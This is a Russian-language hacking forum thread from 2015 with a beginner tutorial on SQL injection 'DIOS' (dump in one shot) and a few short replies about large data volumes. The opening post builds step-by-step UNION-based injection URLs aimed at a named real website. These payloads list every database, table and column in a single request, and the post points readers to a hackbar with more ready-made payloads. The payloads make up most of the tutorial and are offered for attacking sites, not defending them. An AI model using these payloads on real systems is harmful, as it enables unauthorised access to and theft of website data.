
16.05.2015, 16:35
|
|
Участник форума
Регистрация: 10.05.2015
Сообщений: 142
С нами:
5795606
Репутация:
57
|
|
Предисловие
Всем привет) И так, продолжаю свою серию постов "для нубиков таких как я"
Не знаю почему,но я почему то думал что тут найдуться множество статей о так называемом
DIOS ( Dump In One Shot), но увы как то маловато статей я встретел и решил запостить свою.
SQLi DIOS
DIOS - DUmp In One Shot ( Дамп всего за один выстрел)
Для наглядности возьмем какуе то скулю из нашего поста.Желательно без WAF для наглядной демонстрации.
Возьмем для примера эту скулю:
Код:
http://www.podarochek.by/about?curCategory=10&curItem=.1 union select 1,2,3,4,5,6,7,8,9-- -
Будем пробовать разобрать принцип работы DIOS.
Для того что бы понять что делает DIOS, давайте посмотрем на базовый запрос который вернет на
список всех доступных вебприложению БД
Код:
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where
(@a)in (@a:=concat(@a,schema_name,'
'))))a)
Для нашего примера это выглядит так:
Код:
http://www.podarochek.by/about?curCategory=10&curItem=.1 +UNION+ALL+SELECT+1,
concat((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)
where (@a)in (@a:=concat(@a,schema_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- -
И так давайте посмотрем что делает запрос:
Сначала делает select переменной @a из information_schema.tables и обьеденяем все имена из schema в 'IN'.
И как мы все уже догадались,все имена БД придет в цикл 'IN' и будут выбраны ,так как все они существуют в таблице
information_schema.schemata
Теперь плавно перейдем к следующему запросу который позволит нам получить все таблицы:
Код:
http://www.podarochek.by/about?curCategory=10&curItem=
.1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from
(information_schema.tables)where (@a)in
(@a:=concat(@a,table_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- -
Здесь принцип тотже, только выбераюься table_name из information_schema.tables
Хорошо идем) Но часто нам бывает не нужен вывод таблиц information_schema.Для того что бы отбросить вывод
таблиц Information_schema немного изменим запрос:
Код:
http://www.podarochek.by/about?curCategory=10&curItem=
.1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),
(select (@a) from (information_schema.tables)where
(table_schema!=0x696e666f726d6174696f6e5f736368656d61) and
(@a)in (@a:=concat(@a,table_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- -
Теперь мы получаем список таблиц из всех баз кроме Information_schema
Теперь в вывод добавим имя базы перед именем таблицы с помощью следующего запроса:
Код:
http://www.podarochek.by/about?curCategory=10&curItem=
.1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from
(information_schema.tables)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@a)in
(@a:=concat(@a,0x3c6c693e,table_schema,0x203a3a20,table_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- -
Дальше как вы догадались добавим в вывод имена столбцов:
Код:
http://www.podarochek.by/about?curCategory=10&curItem=
.1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where
(table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@a)in (@a:=concat(@a,0x3c6c693e,table_schema,
0x203a3a20,table_name,0x203a3a20,column_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- -
Это лишь основы DIOS.Есть уже много готовых DIOS написанных многими людьми.Многие с них собраны в хакбаре для Mozilla Firefox который я вылаживал в посте /threads/425298/
Небольшая демонстрация плагина.
|
|
|

16.05.2015, 21:11
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
|
|
|

19.05.2015, 11:39
|
|
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
С нами:
8142806
Репутация:
324
|
|
Боюсь пробовать на 1кк записей. Скажите как работать будет с такими объёмами?
|
|
|

19.05.2015, 14:03
|
|
Новичок
Регистрация: 29.08.2013
Сообщений: 7
С нами:
6686966
Репутация:
8
|
|
Сообщение от psihoz26
↑
Боюсь пробовать на 1кк записей. Скажите как работать будет с такими объёмами?
Осмелюсь предположить что вкладка браузера зависнет(если не сам браузер)
Собсна как и при обычном echo проделанным миллион раз,вывод по 100к записей вполне решит эту проблему,но это уже будет не one shot
|
|
|

20.05.2015, 11:58
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами:
9285506
Репутация:
1463
|
|
Сообщение от psihoz26
↑
Боюсь пробовать на 1кк записей. Скажите как работать будет с такими объёмами?
С дефолтными настройками мускула отдаст не более 1М данных, иначе вернет null.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|